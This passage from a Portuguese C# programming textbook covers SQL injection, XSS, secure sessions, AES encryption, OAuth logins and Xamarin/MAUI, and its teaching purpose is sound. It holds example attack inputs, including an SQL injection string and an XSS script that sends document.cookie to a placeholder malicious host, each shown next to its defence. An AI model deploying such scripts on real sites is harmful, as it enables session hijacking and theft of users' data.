12. }
Figura 88 – Evitando injeção de SQL por validação da entrada com expressões regulares
Essa abordagem, no entanto, não é à prova de falhas e pode ser restritiva, dependendo do contexto
de uso; a melhor prática é usar parâmetros nas consultas SQL (como fizemos na figura 79). Parâmetros
nas consultas SQL são a maneira mais eficaz de prevenir injeções de SQL, pois garantem que os valores
inseridos sejam tratados apenas como dados, não como parte do código SQL. Na figura 89 temos um
exemplo dessa prática.
1. using System.Data.SqlClient;
2. string connectionString = “sua_string_de_conexao”;
3. string userInput = “admin’;--”;
4.
5. using (SqlConnection connection = new SqlConnection(connectionString))
6. {
7. connection.Open();
8. string safeSql = “SELECT * FROM users WHERE username = @username”;
9. SqlCommand command = new SqlCommand(safeSql, connection);
10. command.Parameters.AddWithValue(“@username”, userInput);
11. using (SqlDataReader reader = command.ExecuteReader())
12. {
13. while (reader.Read())
14. {
15. // Processar os dados
16. }
17. }
18. }
Figura 89 – Parâmetros para eliminar a possibilidade de SQL Injection
249
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Nas linhas 8 e 10, em vez de concatenar diretamente a entrada do usuário na consulta SQL, usamos
um parâmetro @username. Isso assegura que o valor fornecido pelo usuário seja sempre tratado como
parâmetro na consulta, independentemente do conteúdo, eliminando a possibilidade de injeção de SQL.
Essa prática não só previne ataques de injeção mas também encoraja um código mais limpo e seguro,
essencial para desenvolver um software robusto e confiável.
Na linha 11, ao executar a consulta, o SQL Server buscará na tabela users um registro no qual o campo
username corresponda exatamente à string admin’;‑‑. Não haverá término prematuro da consulta nem
comentário inserido na execução, como aconteceria em uma injeção de SQL não parametrizada.
A consulta é executada de forma segura, procurando literalmente por um usuário chamado
admin’;‑‑. Assim, o resultado esperado dessa consulta é que ela retornará registros apenas se houver
um usuário cujo nome seja exatamente admin’;‑‑. Como esse nome é improvável numa base de dados
real (assumindo que tenha sido criado sem a intenção de servir como exemplo de injeção de SQL), é
possível que nenhum registro seja encontrado e, portanto, o bloco de código dentro do while (reader.
Read()) pode não ser executado. Esse exemplo demonstra a eficácia de consultas parametrizadas como
defesa robusta contra ataques de injeção de SQL, garantindo que os inputs do usuário sejam sempre
tratados como dados, sem risco de ser interpretados como parte do comando SQL.
Os XSS ocorrem quando um atacante consegue inserir scripts maliciosos em páginas web
posteriormente apresentadas a outros usuários.Existem basicamente dois tipos de ataque XSS:
armazenado (persistente) e refletido (não persistente). Para preveni‑los, é crucial sanear as entradas
do usuário, removendo ou escapando caracteres que possam ser interpretados como código HTML ou
JavaScript. Em C#, bibliotecas específicas e funções de escape de caracteres oferecem meios de tratar
as entradas para serem seguras e renderizadas no navegador, evitando a execução indesejada de scripts.
Para ilustrar um ataque XSS refletido, suponha uma aplicação web que use o valor de um parâmetro
de query string para exibir uma mensagem de boas‑vindas ao usuário. Por exemplo, a URL da aplicação
pode ser algo como http://exemplo.com.br?usuario=Nome. A figura 90 apresenta o código C# para
exibir a mensagem.
string usuario = Request.QueryString[“usuario”];
lblMensagem.Text = “Bem-vindo, “ + usuario;
Figura 90 – Código vulnerável a ataques XSS
Um atacante pode explorar essa funcionalidade para fazer um ataque XSS modificando a URL para
inserir um script, como: http://exemplo.com?usuario=alert(‘Ataque XSS’);. Se o valor
do parâmetro usuario for inserido diretamente na página sem sanear, o script malicioso será executado
no navegador da vítima. Para prevenir esse XSS refletido, podemos usar o método HttpUtility.HtmlEncode
para codificar caracteres especiais em suas representações HTML. Isso evita que o navegador interprete
os valores de entrada como HTML ou JavaScript.
250
Unidade IV
A figura 91 apresenta essa modificação que oferece segurança ao código.
string usuario = Request.QueryString[“usuario”];
// Sanitiza a entrada para prevenir XSS
string usuarioSanitizado = HttpUtility.HtmlEncode(usuario);
lblMensagem.Text = “Bem-vindo, “ + usuarioSanitizado;
Figura 91 – Código protegido de ataque XSS refletido
Um exemplo de ataque XSS armazenado poderia envolver um fórum de discussões no qual os
usuários postassem mensagens. Se a aplicação não sanear corretamente as entradas antes de salvá‑las
no banco de dados, um atacante poderia inserir um script como parte de uma mensagem. Quando
outros usuários a visualizassem, o script malicioso seria executado no navegador deles. A figura 92
mostra um exemplo de código malicioso que um atacante poderia inserir num fórum de discussões,
aproveitando uma vulnerabilidade de XSS armazenado.
alert(‘Seus dados foram comprometidos!’);
Figura 92 – XSS armazenado: código malicioso que poderia ser inserido num fórum (sem danos)
Esse exemplo simples exibe uma caixa de diálogo alertando que os dados do usuário foram
comprometidos. Embora não cause danos diretos além de ser intrusivo, ele demonstra como scripts
podem ser executados no navegador do usuário. Atacantes podem usar técnicas similares para ações
muito mais maliciosas, como:
• roubar cookies de sessão, permitindo que o atacante sequestre sessões de usuário;
• redirecionar o usuário para sites maliciosos ou de phishing;
• capturar entradas de teclado ou cliques do mouse;
• modificar o conteúdo da página web para enganar usuários ou esconder/mostrar informações.
A figura 93 ilustra um exemplo mais perigoso. Esse script redireciona o navegador do usuário para
um site controlado pelo atacante, passando os cookies do usuário como parte da URL. Isso poderia
permitir ao atacante acessar informações de sessão sensíveis e potencialmente assumir o controle da
sessão do usuário no site vulnerável.
document.location=’http://site-
malicioso.com/cookie_stealer.php?cookie=’ + document.cookie;
Figura 93 – XSS armazenado: código malicioso que poderia ser inserido num fórum (potencialmente danoso)
251
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Para evitar esses ataques, é essencial sanitizar todas as entradas de usuário que serão exibidas em
páginas web, usando métodos como HttpUtility.HtmlEncode em C#. Além disso, adotar políticas de
segurança – como a Content Security Policy (CSP) – pode mitigar o impacto dos ataques XSS ao restringir
os recursos que podem ser carregados e executados na página.
Para prevenir XSS armazenado, além de sanitizar as entradas antes de exibi‑las, é importante
sanitizá‑las antes de salvá‑las no banco de dados. Embora seja crucial antes da exibição, sanitizar antes
do armazenamento adiciona uma camada extra de segurança e garante que o banco de dados não
contenha scripts maliciosos. A figura 94 apresenta como fazer isso.
// Ao salvar a entrada do usuário no banco de dados
string mensagemUsuario = txtMensagem.Text;
// Sanitiza a entrada para prevenir XSS
string mensagemSanitizada = HttpUtility.HtmlEncode(mensagemUsuario);
// Salvar mensagemSanitizada no banco de dados
Figura 94 – Código protegido de ataque XSS armazenado
Usando HttpUtility.HtmlEncode para sanitizar entradas, podemos neutralizar tentativas de injeção
de scripts, garantindo que qualquer entrada do usuário seja tratada como texto puro em vez de
código executável. É prática recomendada sempre validar e sanitizar todas as entradas do usuário,
não importando se elas podem ser utilizadas de forma maliciosa ou não.
Outro aspecto importante de segurança é a gestão segura de sessões, vital para prevenir
vulnerabilidades relacionadas a identificar e autorizar usuários. Isso envolve criar identificadores de
sessão únicos e seguros, bem como implementar mecanismos de expiração e renovação de sessão para
reduzir a janela de oportunidade para sequestros de sessão.
C# suporta várias estratégias para gerenciar sessões de forma segura, incluindo o armazenamento
de dados de sessão em locais seguros e o uso de cookies seguros, transmitidos apenas por conexões
criptografadas. Quando uma nova sessão é iniciada, o ASP .NET gera automaticamente um identificador de
sessão único; no entanto, para garantir a segurança, é importante configurar o aplicativo para usar
HTTPS, assegurando que os cookies de sessão sejam transmitidos de forma segura.
A figura 95 é um exemplo de como fazer isso no C#.
// Habilitar HTTPS no Startup.cs ou no web.config é essencial para a segurança
dos cookies de sessão
app.UseHttpsRedirection();
Figura 95 – Configurando a segurança na sessão com HTTPS
Configurar cookies de sessão para serem seguros é parte importante da proteção contra interceptação
não autorizada. Isso é feito marcando os cookies como Secure e HttpOnly (figura 96).
252
Unidade IV
services.AddSession(options =>
{
options.Cookie.HttpOnly = true; // Impede o acesso aos cookies
via JavaScript
options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // Força o uso
de cookies apenas sobre HTTPS
options.IdleTimeout = TimeSpan.FromMinutes(20); // Define um tempo
de expiração para a sessão
options.Cookie.SameSite = SameSiteMode.Strict; // Previne o envio
do cookie em solicitações cross-site
});
Figura 96 – Configurando o cookie de sessão
Para limitar as oportunidades de ataque na janela, é crucial implementar mecanismos de expiração
e renovação de sessão. Isso pode ser feito definindo um tempo de expiração (figura 97) adequado para
as sessões e forçando a renovação do identificador de sessão após o login bem‑sucedido.
// Definir um timeout de sessão
services.ConfigureApplicationCookie(options =>
{
options.ExpireTimeSpan = TimeSpan.FromMinutes(30);
});
// Forçar a renovação do identificador de sessão após o login
HttpContext.Session.Clear(); // Limpa a sessão atual
HttpContext.SignInAsync(claimsPrincipal); // Cria uma nova sessão
após o login bem-sucedido
Figura 97 – Ajustando o tempo de expiração da sessão
Embora os dados da sessão sejam frequentemente armazenados em memória, para aplicações mais
críticas ou de maior escala pode ser preferível usar um armazenamento de sessão externo – como
o SQL Server ou o Redis –, pois esses repositórios podem oferecer maior segurança e escalabilidade.
A figura 98 ilustra como fazer isso.
services.AddDistributedSqlServerCache(options =>
{
options.ConnectionString = “sua_string_de_conexao”;options.SchemaName = “dbo”;
options.TableName = “TabelaDeSessao”;
});
// Ou, usando Redis
services.AddStackExchangeRedisCache(options =>
{
options.Configuration = “localhost”;
options.InstanceName = “SessaoDeExemplo:”;
});
Figura 98 – Armazenamento de sessão externo
253
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Observação
Os exemplos fornecidos misturam conceitos e configurações específicas
do ASP.NET Core, um framework de desenvolvimento web em C#. Ao gerir
sessões, configurar cookies seguros ou definir políticas de segurança,
utilizamos as capacidades do framework ASP.NET Core, embora todo
o código esteja escrito na linguagem C#. Isso destaca a relação entre a
linguagem de programação (C#) e o framework de desenvolvimento web
(ASP.NET Core) utilizados para criar aplicações web robustas e seguras.
1. using System;
2. using System.IO;
3. using System.Security.Cryptography;
4. using System.Text;
5. public class CriptografiaAES
6. {
7. public static void Main()
8. {
9. string textoOriginal = “Texto muito secreto!”;
10. // Gerar uma chave AES aleatória e um vetor de inicialização (IV)
11. using (Aes aesAlg = Aes.Create())
12. {
13. aesAlg.GenerateKey();
14. aesAlg.GenerateIV();
15. byte[] chave = aesAlg.Key;
16. byte[] vetorInicializacao = aesAlg.IV;
17. // Criptografar o texto
18. byte[] textoCriptografado =
CriptografarTextoParaBytes_Aes(textoOriginal, chave, vetorInicializacao);
19. // Descriptografar o texto
20. string textoDescriptografado =
DescriptografarTextoDeBytes_Aes(textoCriptografado, chave, vetorInicializacao);
21.
22. Console.WriteLine(“Texto original: {0}”, textoOriginal);
23. Console.WriteLine(“Texto criptografado: {0}”,
Convert.ToBase64String(textoCriptografado));
254
Unidade IV
24. Console.WriteLine(“Texto descriptografado: {0}”,
textoDescriptografado);
25. }
26. }
27. // incluir aqui o método CriptografarTextoParaBytes_Aes
28. // incluir aqui o método DescriptografarTextoDeBytes_Aes
29. }
Figura 99 – Exemplo de criptografia
Por último, mas não menos importante, criptografia de dados sensíveis é uma prática essencial
para garantir que informações críticas – como senhas e detalhes financeiros – sejam armazenadas e
transmitidas de forma segura. C# fornece uma ampla gama de algoritmos criptográficos e bibliotecas
que facilitam a implementação de criptografia forte, tanto para dados em repouso quanto em trânsito.
Ao empregar essas técnicas, desenvolvedores podem assegurar que, mesmo no caso de violação de
segurança, os dados sensíveis permanecerão inacessíveis aos atacantes.
A linguagem oferece suporte a diversas bibliotecas e classes no namespace System.Security.
Cryptography que permitem implementar criptografia forte. Agora vamos criptografar e descriptografar
dados utilizando o algoritmo Advanced Encryption Standard (AES), um padrão de criptografia
amplamente aceito e utilizado.
A figura 99 demonstra como criptografar e descriptografar uma string usando AES. O exemplo é
útil para proteger dados sensíveis em repouso, como senhas e informações financeiras armazenadas em
banco de dados ou arquivo. Nesse código, CriptografarTextoParaBytes_Aes é a função responsável por
criptografar o texto original, transformando‑o num array de bytes criptografados, utilizando uma chave
AES e um vetor de inicialização (IV) específicos. A função DescriptografarTextoDeBytes_Aes realiza
a operação inversa, descriptografando o array de bytes criptografados de volta para o texto original
usando a mesma chave e IV.
1. static byte[] CriptografarTextoParaBytes_Aes(string textoPlano, byte[]
Chave, byte[] IV)
2. {
3. if (textoPlano == null || textoPlano.Lengthque a identidade do usuário seja validada de maneira segura antes de conceder acesso a
qualquer funcionalidade do sistema. Confirmada a identidade, ele pode acessar a aplicação.
Por outro lado, a autorização ocorre após a autenticação e determina o que o usuário pode
fazer – processo que envolve verificar se ele tem permissão para acessar recursos específicos ou realizar
determinadas operações, como editar ou excluir dados. A autorização é fundamental para manter o
controle de acesso adequado e garantir que os usuários não ultrapassem os limites de seus direitos
de acesso; e ela se baseia essencialmente nas políticas de segurança definidas pelos administradores
do sistema, que atribuem diferentes níveis de acesso a diferentes usuários (ou grupos de usuários).
Por exemplo, um usuário autenticado pode ter permissão para visualizar dados, enquanto apenas
administradores podem alterá‑los ou deletá‑los. A autorização garante que os usuários tenham
acesso apenas a informações e funcionalidades adequadas ao seu papel ou status.
Tecnologias como OAuth e JSON Web Tokens (JWT) são amplamente utilizadas para facilitar a
autenticação e autorização em aplicações modernas. OAuth é um padrão aberto para acesso delegado
que permite às aplicações obter tokens de acesso limitados em vez de usar credenciais completas para
acessar recursos em nome do usuário; isso é útil quando aplicações precisam interagir com outras
aplicações em nome de um usuário sem compartilhar suas credenciais.
258
Unidade IV
JWT, por sua vez, é um método compacto e seguro de transmitir informações entre partes como
um objeto JSON; esses tokens são verificados e confiáveis porque são digitalmente assinados. JWTs são
usados tanto para autenticação quanto autorização e fornecem uma maneira eficiente de transmitir
informações de identidade do usuário e detalhes de permissão entre cliente e servidor.
1. using Google.Apis.Auth.OAuth2;
2. using Google.Apis.Util.Store;
3. using System;
4. using System.Threading;
5. using System.Threading.Tasks;
6.
7. public class AutenticacaoGoogle
8. {
9. public async Task AutenticarAsync()
10. {
11. string[] escopos =
{ “https://www.googleapis.com/auth/userinfo.profile” };
12. string idCliente = “SEU_ID_CLIENTE”;
13. string segredoCliente = “SEU_SEGREDO_CLIENTE”;
14. string nomeUsuario = “usuario”;
15.
16. var credencial = GoogleWebAuthorizationBroker.AuthorizeAsync(
17. new ClientSecrets
18. {
19. ClientId = idCliente,
20. ClientSecret = segredoCliente,
21. },
22. escopos,
23. nomeUsuario,
24. CancellationToken.None,
25. new FileDataStore(“TokenAutenticacao”)).Result;
26.
27. Console.WriteLine(“Autenticação concluída.”);
28. // Aqui você pode usar a credencial para acessar APIs do Google.
29. }
30. }
Figura 101 – OAuth para autenticação via Google
259
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Num ambiente de desenvolvimento C#, o uso do OAuth pode facilitar a interação segura com APIs
externas – como Google, Facebook, Twitter, entre outras –, permitindo que aplicações C# autentiquem
usuários com esses serviços externos e solicitem acesso a recursos em nome deles. Para exemplificar
o uso prático de OAuth em C#, considere uma aplicação que precisa autenticar um usuário via Google e
acessar informações do seu perfil. Primeiro, é necessário registrar a aplicação no Google Cloud Platform
para obter um ID de cliente e um segredo de cliente, essenciais para a autenticação OAuth.
A figura 101 é um exemplo de como o código‑fonte em C# para autenticação OAuth com Google
pode ser estruturado. Nela a classe AutenticacaoGoogle detém um método AutenticarAsync (linha 9)
destinado a realizar a autenticação. Utiliza‑se a classe GoogleWebAuthorizationBroker do Google APIs
Client Library para .NET para solicitar a autenticação OAuth. O método AuthorizeAsync é chamado com
várias informações importantes: um objeto ClientSecrets (linha 17) contendo o ID e o segredo do cliente;
um array de strings escopos (linha 22) definindo quais informações a aplicação deseja acessar; um
nomeUsuario para identificar o token no armazenamento local; e um FileDataStore para armazenar o
token de autenticação localmente após ela ser concluída.
Quadro 23 – Escopos mais comuns ao interagir com APIs do Google via OAuth
Categoria Descrição https://www.googleapis.
com/auth/ Permissão
Perfil do usuário Acesso a informações
básicas do perfil userinfo.profile Acesso a nome, foto de perfil e outras informações
básicas do perfil do usuário no Google
Email do usuário Acesso ao endereço
de email do usuário userinfo.email Acesso ao endereço de email principal do usuário
no Google
Google Drive Acesso aos arquivos
no Google Drive drive Acesso total a arquivos, pastas e outros dados
armazenados no Google Drive do usuário
Google Drive
(arquivos
específicos)
Acesso limitado ao
Google Drive drive.file Acesso apenas a arquivos criados ou abertos pela
sua aplicação no Google Drive do usuário
Google Calendar Acesso ao Google
Calendar calendar
Gerenciamento de eventos do calendário do
usuário, incluindo leitura, adição e exclusão de
eventos
Google Contacts Acesso aos contatos
do Google contacts Acesso e gerenciamento de contatos do usuário no
Google Contacts
O quadro mostra alguns escopos que podem ser solicitados no acesso (note que utilizamos
somente userinfo.profile na linha 11 da figura 101). Ao construir sua aplicação, você deve escolher
os escopos com base nas necessidades da sua aplicação e no mínimo de acesso necessário para
realizar suas funções. É boa prática solicitar apenas os escopos estritamente necessários para a
funcionalidade que sua aplicação oferece, seguindo o princípio do menor privilégio para proteger
a privacidade do usuário.
A autenticação OAuth em C# é útil quando a aplicação precisa de acesso a serviços que requerem
autenticação sem armazenar credenciais do usuário, como a senha. Ao concluir a interação com sucesso, o
usuário é redirecionado para uma página de consentimento do Google, onde ele pode autorizar a aplicação
e acessar as informações especificadas nos escopos. Concedida a autorização, a aplicação recebe um token
de acesso que pode ser usado para fazer chamadas às APIs do Google em nome do usuário.
260
Unidade IV
A seguir, um passo a passo desse processo:
• Solicitação de autorização: a aplicação C# (como na figura 101) direciona o usuário para o
servidor de autenticação (no caso, uma página do Google), na qual ele deve conceder permissão
à aplicação para acessar informações específicas. Essa permissão é delimitada pelos escopos
(quadro 23) que a aplicação solicitou, os quais definem que tipo de dados a aplicação pode
acessar e que operações pode realizar em nome do usuário.
• Conclusão de login: o usuário faz login em sua conta do Google (caso ainda não esteja logado)
e examina os pedidos de permissão apresentados pela aplicação.
• Concessão de permissões: se o usuário concede as permissões solicitadas, o processo pode ser
considerado concluído com sucesso.
• Redirecionamento e token de acesso: concedidas as permissões, o servidor de autenticação
(Google) redireciona o usuário de volta à aplicação com um código que a aplicação pode trocar
por um token de acesso. Esse token permite à aplicação fazer chamadas a APIs do Google em
nome do usuário, sem nunca ter acesso direto a suas credenciais (como senha).
Observação
Google Identity é uma solução abrangente de gerenciamento de
identidade e acesso projetada para facilitar o processo de autenticação e
autorização para aplicações e serviços. A plataforma engloba uma série
de tecnologias e protocolos, incluindo OAuth 2.0 e OpenID Connect, que
permitem aos desenvolvedores integrar facilmente a autenticação do
Google em suas aplicações, proporcionando uma experiência de login
segura e conveniente para os usuários finais.
Com o Google Identity os desenvolvedores podem permitir que os
usuários façam login em suas aplicaçõesusando as próprias contas do
Google, eliminando a necessidade de criar e gerenciar um sistema próprio de
autenticação. Isso não só simplifica o processo de login para os usuários – que
podem utilizar uma conta existente sem precisar memorizar outro conjunto
de credenciais –, mas também aumenta a segurança, aproveitando as
práticas robustas implementadas pelo Google, incluindo proteção contra
phishing e autenticação de dois fatores.
261
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Saiba mais
Para mais detalhes sobre o Google Identity, acesse:
AUTENTICAÇÃO. Google for Developers, [s.d.]. Disponível em:
https:// tinyurl.com/2eucj267. Acesso em: 19 mar. 2024.
Já as informações detalhadas sobre escopos estão aqui:
ESCOPOS do OAuth 2.0 para APIs do Google. Google for Developers,
9 mar. 2024. Disponível em: https://tinyurl.com/4wcajh6m. Acesso em:
18 mar. 2024.
A Microsoft também oferece suporte à autenticação OAuth através do Microsoft Identity Platform
(anteriormente conhecido como Azure Active Directory para desenvolvedores), o qual fornece um
conjunto de APIs que permitem aos desenvolvedores integrar a autenticação e autorização em suas
aplicações, utilizando padrões como OAuth 2.0 e OpenID Connect.
Para implementar a autenticação OAuth em uma aplicação C# utilizando o Microsoft Identity
Platform, precisamos usar a biblioteca Microsoft Authentication Library (MSAL), que facilita a tarefa
de solicitar tokens de acesso e de atualização para acessar recursos protegidos pela Microsoft, como
Microsoft Graph, que oferece acesso a uma riqueza de dados e inteligência nos serviços da Microsoft 365.
A figura 102 exemplifica como o código da figura 101 poderia ser adaptado para usar a MSAL para
autenticar um usuário com a Microsoft, considerando um cenário semelhante ao fornecido para a autenticação
do Google.
1. using Microsoft.Identity.Client;
2. using System;
3. using System.Threading.Tasks;
4.
5. public class AutenticacaoMicrosoft
6. {
7. private static string idAplicativo = “SEU_ID_APLICATIVO”;
8. private static string[] escopos = { “User.Read” };
9. private static IPublicClientApplication aplicativoPublico;
10.
11. public static async Task AutenticarAsync()
262
Unidade IV
12. {
13. aplicativoPublico =
PublicClientApplicationBuilder.Create(idAplicativo)
14. .WithDefaultRedirectUri()
15. .Build();
16.
17. AuthenticationResult resultado = await
aplicativoPublico.AcquireTokenInteractive(escopos)
18. .ExecuteAsync();
19.
20. Console.WriteLine($”Token de acesso: {resultado.AccessToken}”);
21. }
22. }
Figura 102 − OAuth para autenticação via Microsoft
Na linha 7, idAplicativo representa o ID do Aplicativo (também conhecido como Client ID), que
você obtém ao registrar sua aplicação no Azure Active Directory através do portal do Azure. Como no
exemplo da figura 101, os escopos definem as permissões que sua aplicação solicita; por exemplo, User.
Read permite à aplicação ler o perfil do usuário conectado.
Similarmente ao quadro 23, o quadro 24 enumera os escopos, considerando o uso da tecnologia
Microsoft. Note que, ao contrário das URLs de escopo fornecidas para os serviços do Google, os escopos
para os da Microsoft são geralmente identificados por uma permissão de string (por exemplo, User.Read,
Mail.Read) sem uma URL completa associada. Esses escopos são usados ao configurar a autenticação
e a autorização com o Microsoft Identity Platform em sua aplicação C#. Ao solicitar esses escopos,
você pede permissão para acessar dados específicos ou realizar ações em nome do usuário através do
Microsoft Graph ou outros serviços da Microsoft que suportem OAuth.
Quadro 24 – Escopos disponíveis no Microsoft Identity Platform
(Azure Active Directory) usando OAuth
Categoria Descrição Escopo Permissão
Perfil do usuário Acesso a informações
básicas do perfil User.Read Acesso a nome, foto de perfil e outras informações básicas
do perfil do usuário no Microsoft Graph
Email do usuário Acesso ao endereço
de email do usuário Mail.Read Acesso e leitura de emails do usuário no Outlook
Arquivos OneDrive Acesso aos arquivos
no OneDrive Files.Read Leitura de arquivos, pastas e outros dados armazenados no
OneDrive do usuário
Arquivos OneDrive
(leitura e escrita)
Acesso completo ao
OneDrive Files.ReadWrite Leitura e escrita de arquivos, pastas e outros dados no
OneDrive do usuário
Calendário Acesso ao calendário Calendars.Read Acesso e leitura de eventos do calendário do usuário no
Microsoft Graph
Contatos Acesso aos contatos Contacts.Read Acesso e leitura de contatos do usuário no Microsoft Graph
263
PROGRAMAÇÃO ORIENTADA A OBJETOS II
O método PublicClientApplicationBuilder.Create (linha 13 da figura 102) inicializa uma instância
de IPublicClientApplication com o ID do aplicativo. A chamada.WithDefaultRedirectUri configura o
URI de redirecionamento padrão, necessário para algumas plataformas, como aplicativos de desktop e
móveis. Na linha 17, AcquireTokenInteractive é chamado para iniciar o fluxo de autenticação, no qual
o usuário será solicitado a entrar com sua conta da Microsoft e conceder as permissões solicitadas
à aplicação (Microsoft…, 2017). Após o usuário autenticar e consentir com os escopos solicitados, o
método retorna um AuthenticationResult que contém o token de acesso, que pode ser usado para
acessar APIs protegidas.
Implementar sistemas seguros de login e registro em C# envolve várias práticas recomendadas,
incluindo essas tecnologias. Por exemplo, ao desenvolver um sistema de autenticação, é importante
garantir que as credenciais dos usuários sejam armazenadas de forma segura, geralmente utilizando
hash e salt para senhas, a fim de se proteger contra ataques de força bruta e vazamentos de dados.
Para a autorização, pode‑se implementar controles baseados em funções ou reivindicações utilizando
frameworks como ASP.NET Core Identity, que oferece suporte integrado para gerenciar usuários, senhas,
perfis e mais, além de se integrar facilmente com JWT e OAuth para criar políticas de autorização.
Essas tecnologias e práticas aumentam a segurança da aplicação e melhoram a experiência do usuário,
permitindo acessos e interações seguras e personalizadas. A chave para um sistema de autenticação
e autorização eficaz é um design cuidadoso que considere tanto a segurança quanto a usabilidade,
garantindo que os usuários tenham o acesso necessário sem comprometer a proteção dos dados.
8 DESENVOLVIMENTO CROSS-PLATFORM E MOBILIDADE
O desenvolvimento de soluções de software tem evoluído rapidamente e se adaptado às exigências
de um mercado cada vez mais ágil e diversificado. Nesse contexto, temas como desenvolvimento
cross‑platform com Xamarin ou Multi‑platform App UI (MAUI), desenvolvimento de aplicativos móveis,
gráficos e visualização de dados, microsserviços e arquiteturas baseadas em eventos têm ganhado
destaque por oferecer abordagens inovadoras e eficientes para construir sistemas complexos e robustos
(que serão abordados neste tópico).
O desenvolvimento cross‑platform, em particular através de ferramentas como Xamarin e MAUI, é uma
metodologia significativa para desenvolvedores que buscam criar aplicativos que funcionem em múltiplos
sistemas operacionais com um único código‑base. Isso economiza tempo e recursos, além de garantir
uma experiência consistente para o usuário final em diferentes dispositivos. Xamarin, uma das primeiras
plataformas a oferecer essa capacidade, utiliza C# e .NET para permitir o desenvolvimento integrado para
iOS, Android e Windows. Por outro lado, o MAUI, seu sucessor, expande essas possibilidades, introduzindo
uma abordagem mais moderna e eficaz para criar interfaces de usuário que se adaptem perfeitamente a
qualquer plataforma.
Paralelamente, o desenvolvimento de aplicativos móveis continua uma área de grande interesse
e crescimento, impulsionada pelo aumento do uso de smartphones e tablets em todo o mundo.
Desenvolvedores enfrentam o desafio de criar aplicativosque não só atendam às expectativas em termos
de funcionalidade e desempenho, mas também se destaquem num mercado altamente competitivo, o
264
Unidade IV
que requer um profundo entendimento das plataformas de desenvolvimento, das melhores práticas de
UX/UI e da integração eficiente com serviços web e APIs.
A visualização de dados e gráficos, por sua vez, tornou‑se ferramenta indispensável em muitos campos,
desde a ciência de dados até o marketing digital. A capacidade de apresentar dados complexos de forma
intuitiva e compreensível pode transformar a tomada de decisões e revelar insights ocultos. Ferramentas e
bibliotecas de visualização de dados – como OxyPilot, LiveCharts e outros – permitem aos desenvolvedores
construir visualizações interativas e dinâmicas que melhoram significativamente a experiência do usuário
e a eficácia da apresentação de informações.
No domínio da arquitetura de sistemas, microsserviços surgiram como padrão arquitetônico chave,
enfatizando a modularidade e a escalabilidade. Ao decompor uma aplicação num conjunto de serviços
menores – que podem ser desenvolvidos, implantados e gerenciados de forma independente –, as
organizações podem alcançar maior agilidade e melhorar a resiliência do sistema. Essa abordagem facilita
a integração contínua e a entrega contínua (CI/CD), permitindo que as equipes de desenvolvimento
respondam mais rapidamente às mudanças no mercado.
Por fim, arquiteturas baseadas em eventos oferecem um paradigma poderoso para desenvolver
sistemas altamente escaláveis e reativos. Centrando‑se na produção, detecção e reação a eventos, essa
abordagem permite construir aplicações que podem processar grandes volumes de informação em tempo
real, com alta disponibilidade e baixa latência. Arquiteturas orientadas a eventos são particularmente
adequadas para sistemas distribuídos, nos quais são fundamentais a comunicação assíncrona e o
desacoplamento dos componentes.
8.1 Desenvolvimento cross-platform com Xamarin ou MAUI
Desenvolver aplicações cross‑platform é uma abordagem essencial na indústria de software moderna,
pois permite que desenvolvedores criem aplicativos que funcionam em múltiplas plataformas utilizando
uma base de código única. Xamarin e .NET MAUI são duas tecnologias proeminentes que permitem esse
desenvolvimento, cada uma com suas características e benefícios.
Xamarin é uma ferramenta lançada inicialmente pela Xamarin Inc. e posteriormente adquirida
pela Microsoft, que revolucionou o desenvolvimento cross‑platform ao permitir que desenvolvedores
utilizassem C# e .NET para criar aplicativos iOS, Android e Windows com uma única base de código.
Isso simplificou o desenvolvimento e permitiu que desenvolvedores aproveitassem as extensas
bibliotecas do .NET e a poderosa sintaxe do C# para criar aplicativos ricos e performáticos. Xamarin.
Forms – extensão do Xamarin – foi introduzido para facilitar ainda mais o desenvolvimento de interfaces
de usuário com código compartilhado, acelerando o ciclo de desenvolvimento de aplicativos móveis.
O .NET MAUI, por outro lado, é a evolução do Xamarin.Forms e oferece um framework mais
moderno e flexível para desenvolver aplicações cross‑platform. Anunciado pela Microsoft como parte
do .NET 6, o MAUI expande as capacidades do Xamarin.Forms introduzindo melhorias significativas na
performance, na facilidade de uso e na extensibilidade. Com o .NET MAUI, desenvolvedores podem criar
265
PROGRAMAÇÃO ORIENTADA A OBJETOS II
aplicativos para iOS, Android, macOS e Windows usando o mesmo conjunto de ferramentas e APIs, o que
facilita a manutenção e atualização dos aplicativos (Liberty; Juarez, 2023).
Além disso, o .NET MAUI melhora a construção de interfaces de usuário, permitindo maior
customização e adaptabilidade a diferentes plataformas. A transição do Xamarin para o .NET MAUI é
um marco importante no desenvolvimento cross‑platform, pois reflete o compromisso da Microsoft em
fornecer ferramentas que atendam às necessidades dos desenvolvedores modernos.
Enquanto Xamarin continua uma escolha robusta e comprovada para muitos projetos, o .NET
MAUI oferece um caminho futuro com mais recursos, melhor desempenho e uma abordagem mais
unificada para desenvolver aplicações multiplataforma. Para compreender quando usar Xamarin ou
.NET MAUI, vamos organizar as informações em um quadro comparativo que destaca os contextos
e critérios para escolher entre essas duas tecnologias no desenvolvimento cross‑platform.
Quadro 25 – Comparação entre Xamarin e .NET MAUI
Critério Xamarin .NET MAUI
Estado de
desenvolvimento
Ideal para projetos existentes ou para
desenvolvedores familiarizados com a
plataforma. Ainda suportado, mas com uma
ênfase crescente na migração para o .NET MAUI
Recomendado para novos projetos devido
ao seu design moderno, melhorias de
desempenho e suporte de longo prazo pela
Microsoft
Base de código Única, usando C# e .NET para desenvolver
aplicativos iOS, Android e Windows
Única, utilizando C# e .NET para criar
aplicativos para iOS, Android, macOS e
Windows, com uma abordagem mais
unificada e moderna
Interface do usuário
Xamarin.Forms permite criar UIs com código
compartilhado, mas com limitações em
customização e complexidade de design
O .NET MAUI oferece uma abordagem mais
flexível e poderosa para UIs, suportando
designs complexos e customização avançada
com menos esforço
Performance
Boa performance, mas pode ser superada
pelo .NET MAUI em alguns cenários devido a
otimizações e melhorias mais recentes
Melhor em relação ao Xamarin, com
otimizações significativas para renderização
de UI e desempenho geral da aplicação
Comunidade e
suporte
Comunidade estabelecida e vasta quantidade de
recursos e bibliotecas disponíveis
Crescendo rapidamente, com suporte ativo da
Microsoft e uma base crescente de recursos,
tutoriais e bibliotecas
O quadro fornece uma visão geral para ajudar desenvolvedores e equipes a decidir qual tecnologia
é mais adequada para seus projetos específicos, considerando o estado atual do desenvolvimento,
